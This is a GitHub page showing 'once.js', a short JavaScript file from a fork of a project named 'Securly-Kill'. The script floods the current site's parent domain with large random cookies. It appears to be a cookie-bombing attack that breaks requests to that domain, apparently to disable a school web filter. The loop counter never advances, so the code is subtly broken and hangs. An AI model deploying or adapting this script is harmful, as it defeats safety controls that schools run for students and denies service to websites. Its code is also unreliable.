forked from zek-c/Securly-Kill-V111
-
Notifications
You must be signed in to change notification settings - Fork 12
Expand file tree
/
Copy pathonce.js
More file actions
17 lines (15 loc) · 655 Bytes
/
once.js
File metadata and controls
17 lines (15 loc) · 655 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(() => {
const a = 3168;
const b = new Date(2e14).toUTCString();
const c = location.hostname.split(".").slice(-2).join(".");
function arrayToRandomString(inputArray, length){
return encodeURIComponent(btoa(String.fromCharCode.apply(0,inputArray))).substring(0,length)
}
function generateArrayOfRandomNumbers(amountOfChildElements){
return crypto.getRandomValues(new Uint8Array(amountOfChildElements))
}
for (let d = 0; 99 > d; d) {
randomString = arrayToRandomString(generateArrayOfRandomNumbers(a), a);
document.cookie = `cd${d}=${randomString};expires=${b};domain=${c};path=/`
}
})()